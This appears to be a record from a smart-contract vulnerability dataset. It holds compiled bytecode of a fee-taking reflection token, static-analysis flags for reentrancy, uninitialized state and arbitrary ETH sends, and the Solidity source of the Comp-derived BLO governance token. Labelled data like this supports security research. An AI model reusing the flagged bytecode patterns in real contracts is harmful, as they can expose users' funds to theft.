0156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200151e644c2957cbbc74a29d89da6283e61dd6b9341ad7cd598f9389934057f6464736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,436 |
0x68481f2c02BE3786987ac2bC3327171C5D05F9Bd
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract Blo {
/// @notice EIP-20 token name for this token
string public constant name = "Based Loans Ownership";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "BLO";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 100000000e18; // 100 million BLO
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
